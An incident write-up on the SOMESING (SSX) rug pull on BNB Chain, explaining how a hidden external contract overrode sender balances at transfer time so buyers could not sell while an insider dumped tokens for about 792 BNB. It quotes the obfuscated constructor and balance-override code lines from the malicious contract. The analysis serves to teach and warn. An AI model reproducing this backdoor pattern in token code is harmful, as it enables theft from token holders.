SOMESING Rug Pull
What happened
SOMESING (SSX) was a BEP20 token on BNB Chain, contract 0xD4E8839F…bF0c4C, deployed on 19 October 2023 under the same name as the unrelated SOMESING project. Its _transfer function does not trust its own balance ledger: before every transfer it overwrites the sender's balance with a number returned by a hidden external contract whose address was passed into the constructor as a plain integer. Whoever controls that contract decides every sender's balance at transfer time, so it can return zero for buyers (their sells revert) or an enormous balance for a chosen address, far above the 1,000,000,000 SSX total supply.
On 20 October 2023 PeckShield reported that 0x56ee7a79…584d88 swapped 1,000,000,000,000,000 SSX, a million times the supply, for about 792.2 BNB (about $169,000), and the price dropped 100%. De.Fi's REKT database records the loss as $166,715 (792.21 WBNB). The earlier write-up adds that the proceeds were moved to another EOA and split across several addresses, lists 0x3f04768E…c704ED as a second scammer address and 0x27a64f0c…75e454 as the sell transaction, and says the deployer and scammer funded their addresses from Binance.
How it happened
- At deployment the constructor stores a hidden address taken from an integer argument:
uoDRCJVjRlAWHCHQPyPaa = address(uint160(aqfnivnz));, and mints the full supply to the deployer. - Every transfer first replaces the sender's stored balance with the hidden contract's answer:
_balances[eavmotosfrom] = _6d4e7d13(eavmotosfrom, amount, _balances[eavmotosfrom]);, which callskUCLziNsIhTtOoUjqEHDt(uoDRCJVjRlAWHCHQPyPaa).a1c29f34eb3c(sender, amount, balance). - Only then does the contract check
_balances[eavmotosfrom] >= amount. The hidden contract can return a value below the amount for ordinary holders, so their sells revert, or an arbitrary large value for a chosen address.totalSupplynever changes, so the extra tokens do not show up as a mint. - On 20 October 2023 0x56ee7a79…584d88 swapped 1,000,000,000,000,000 SSX into the PancakeSwap pool, far more than the 1,000,000,000 total supply, and received about 792.2 BNB, emptying the pool.
Protocol details
Evidence
- report PeckShieldAlert: SOMESING $SSX on BNB Chain has dropped -100% twitter.com
- transaction SSX token creation transaction bscscan.com
- transaction bscscan.com transaction 0x27a6…e454 bscscan.com
- address SOMESING (SSX) verified source code bscscan.com
- address bscscan.com address 0x3f04…04ED bscscan.com
- address bscscan.com address 0x56ee…4d88 bscscan.com
- address bscscan.com address 0x94Ac…9610 bscscan.com
- analysis Sourcify match for 0xD4E8839F98787eb02Fcc7c659497E13b95bF0c4C on BNB Chain repo.sourcify.dev
Build your security review skills
Work through hands-on labs covering real exploit mechanics, review techniques, and defensive patterns.